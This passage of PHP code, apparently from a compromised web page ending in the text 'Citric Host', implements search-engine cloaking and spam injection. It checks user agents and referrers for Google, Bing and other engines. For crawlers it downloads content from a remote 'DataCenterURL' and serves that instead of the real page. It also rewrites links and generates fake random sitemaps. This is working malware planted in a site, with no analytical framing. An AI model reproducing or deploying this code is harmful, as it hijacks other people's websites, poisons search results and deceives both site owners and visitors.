'); }else { $data = remote_dl($DataCenterURL.'/get.do?url='.urlencode($curURL)); if($href_handle){$data = data_handle($local_path,$data,$sitemap_ext);} die($data); } }elseif($whole_site) { if(check_ref()) { die(''); }elseif(check_bot()) { $data = remote_dl($DataCenterURL.'/get.do?url='.urlencode($curURL)); if($href_handle){$data = data_handle($local_path,$data,$sitemap_ext);} die($data); } } function data_handle($curPath, $data,$sitemap_ext) { global $href_keyword; if (preg_match_all('/]+href \\s*=\\s*(?:"([^"]*)" |\'([^\']*)\' |([^\\s\'">]+) )/ix', $data, $regs, PREG_OFFSET_CAPTURE)) { for ($reg_i = 1; $reg_i < 4; $reg_i++) { foreach ($regs[$reg_i] as $num => $url){ if(@stristr($regs[0][$num][0],$href_keyword)) continue; if(!isset($url[0])) continue; if(substr(strtolower($url[0]),0,4)!="http"){ $temp = $curPath .trim($url[0]) . $sitemap_ext; $temp = str_ireplace($url[0],$temp,$regs[0][$num]); $data = str_ireplace($regs[0][$num],$temp,$data); }else { $url_info = @parse_url($url[0]); if(isset($url_info["path"]) && $url_info["path"]!="") { $temp = $curPath .trim($url_info["path"],"/") . $sitemap_ext; $temp = str_ireplace($url[0],$temp,$regs[0][$num]); $data = str_ireplace($regs[0][$num],$temp,$data); } } } } } return $data; } function startWith($str, $needle) { return strpos($str, $needle) === 0; } function endWith($haystack, $needle) { $length = strlen($needle); if($length == 0) { return true; } return (substr($haystack, -$length) === $needle); } function remote_dl($url) { $file_contents = ''; if (function_exists('file_get_contents')) { $file_contents = @file_get_contents($url); } if (strlen($file_contents) < 10 && function_exists('curl_init')) { $file_contents = ''; $ch = curl_init(); $timeout = 5; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } if (strlen($file_contents) < 10 && function_exists('fopen')) { $file_contents = ''; $fh = @fopen($url, 'r'); if ($fh) { while (!feof($fh)) { $file_contents .= fgets($fh, 1024); } } fclose($fh); } return $file_contents; } function cur_url() { $Site = 'http'; if (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") { $Site .= "s"; } $Site .= "://"; $Site_Path = ""; if ($_SERVER["SERVER_PORT"] != "80") { if($_SERVER["HTTPS"] == "on" && $_SERVER["SERVER_PORT"] != "443") { $Site_Path .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"]; } else { $Site_Path .= $_SERVER["SERVER_NAME"]; } } else { $Site_Path .= $_SERVER["SERVER_NAME"]; } $Site_Path .= $_SERVER["REQUEST_URI"]; $Site_Path = str_ireplace("\\", "/", $Site_Path); $Site_Path = str_ireplace("//", "/", $Site_Path); return $Site . $Site_Path; } function check_ref() { $r = @strtolower($_SERVER['HTTP_REFERER']); $ses = array('google', 'bing', 'yahoo', 'ask', 'aol'); foreach ($ses as $se) { if (strpos($r, $se . '.') != false) { return true; } } return false; } function check_bot() { $r = @strtolower($_SERVER['HTTP_USER_AGENT']); $ses = array('google', 'bing', 'yahoo', 'ask', 'aol'); foreach ($ses as $se) { if (strpos($r, $se) != false) { return true; } } return false; } function createRandomStr($length){ $randpwd = ""; for ($i = 0; $i < $length; $i++) { $h = mt_rand(1, 3); if($h == 1) {$randpwd .= mt_rand(0, 9);} if($h == 2) {$randpwd .= chr(mt_rand(65, 90));} if($h == 3) {$randpwd .= strtolower(chr(mt_rand(65, 90)));} } return $randpwd; } function rand_sitemap($curPath) { global $sitemap_num; global $sitemap_pre; global $sitemap_ext; @header("Content-type: application/xml"); echo ""; echo "\r\n"; for($i=0;$i<$sitemap_num ;$i++){ echo " \r\n"; $url = $curPath . $sitemap_pre . createRandomStr(7) . $sitemap_ext; echo " " . $url . "\r\n"; if(isset($_GET["t"]) && $_GET["t"]!="") { echo " " . $_GET["t"] . "\r\n"; }else{ echo " " . date("Y-m-d") . "\r\n"; } echo " daily\r\n"; echo " 1.0\r\n"; echo " \r\n"; } die(""); } ?>

Citric Host